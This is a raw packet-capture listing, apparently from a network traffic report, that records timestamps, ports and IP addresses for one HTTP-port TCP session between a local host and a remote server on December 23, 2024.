Dec 23, 2024 07:16:05.091574907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.091574907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.091574907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.091743946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.091928959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.092526913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.092645884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.093377113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.093456984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.094106913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.097565889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.097567081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.097567081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.145575047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.330478907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.473814964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.772269964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.772372007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.772430897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.772612095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.772772074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.772861004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.773448944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.773602962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.773644924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.774230957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.774379969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.774455070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.775058031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.775139093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.775238991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.901868105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.901901960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.902040958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.902157068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.902172089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.902226925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.902657986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.902780056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.902919054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.903420925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.903531075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.903625011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.904233932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.904339075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.904414892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.905038118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.905138969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.905337095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.905975103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.905994892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.906070948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.906706095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.906841993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.906932116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.907453060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.907543898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.907613039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.908246994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.908346891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.908402920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.909054041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.909251928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.909317970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:05.909838915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.909956932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:05.910003901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.031407118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.031443119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.031610012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.031641960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.031692982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.032152891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.032275915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.032705069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.032705069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.032962084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.033109903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.033581972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.033740997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.033848047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.034534931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.034661055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.034837008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.034837961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.035351038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.035460949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.035624027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.036159992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.036309958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.036586046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.036998987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.037106991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.037812948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.037951946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.038146019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.038146019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.038588047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.038758993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.039088964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.039406061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.039540052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.039598942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.040201902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.040330887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.040896893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.040997982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.041111946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.041383982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.041785955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.041906118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.042603970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.042707920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.043343067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.043343067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.043401957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.043531895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.044203043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.044303894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.044997931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.045103073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.045569897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.045569897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.045569897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.045785904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.045906067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.046633959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.046653032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.046716928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.047334909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.047429085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.047529936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.048208952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.048574924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.097503901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.160763979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.160794020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.160806894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.160872936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.161195040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.161258936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.161361933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.161375046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.161418915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.162142992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.162237883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.162250996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.162293911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.163048983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.163111925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.163151026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.163161993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.163233042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.164215088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.164230108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.164242029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.164298058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.165049076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.165127993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.165154934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.165167093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.165231943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.165956020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.166045904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.166059017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.166111946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.166891098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.166949034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.166979074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.166991949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.167031050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.167891979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.167979002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.167990923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.168028116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.168837070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.168895006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.168922901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.168935061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.168977976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.169814110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.169909000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.169922113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.170017004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.170751095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.170811892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.170850992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.170862913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.170902014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.171717882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.171854019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.171869040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.171911001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.172671080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.172741890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.172771931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.172785044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.172868013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.173719883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.173805952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.173819065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.173894882 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.174614906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.174758911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.174770117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.174784899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.175096989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.175580025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.175677061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.175693989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.176178932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.176536083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.176630974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.176646948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.177259922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.177259922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.177505016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.177598000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.177609921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.178311110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.178492069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.178559065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.178571939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.178666115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.178666115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.179415941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.179532051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.179544926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.179583073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.180396080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.180479050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.180577040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.222729921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.223598003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.223613977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.223625898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.223730087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.223746061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.223808050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.223808050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.224545002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.224630117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.224641085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.224713087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.225311995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.225409985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.225428104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.225569010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.226283073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.226334095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.226387978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.226399899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.226679087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.227248907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.227350950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.227358103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.227755070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.228219986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.228316069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.228321075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.228328943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.228384018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.229183912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.229283094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.229294062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.229363918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.230169058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.230214119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.230259895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.230271101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.230323076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.294744968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.294783115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.294799089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.294900894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.295133114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.295217991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.295260906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.295692921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.295793056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.295806885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.295923948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.295923948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.296713114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.296838999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.296852112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.296999931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.297647953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.297714949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.297720909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.297846079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.297967911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.298580885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.298680067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.298692942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.298957109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.299556971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.299621105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.299678087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.299690962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.299793005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.300513983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.300606966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.300617933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.300708055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.347771883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.352838993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.352906942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.352920055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.353229046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.353239059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.353290081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.353302002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.353377104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.353377104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.354203939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.354227066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.354370117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.354543924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.354646921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.354657888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.354759932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.355552912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.355649948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.355663061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.355865955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.355865955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.356488943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.356611967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.356625080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.356992960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.357479095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.357549906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.357563019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.357578039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.357630014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.358513117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.358620882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.358633041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.358792067 CET	49739	80	192.168.2.5	185.215.113.16
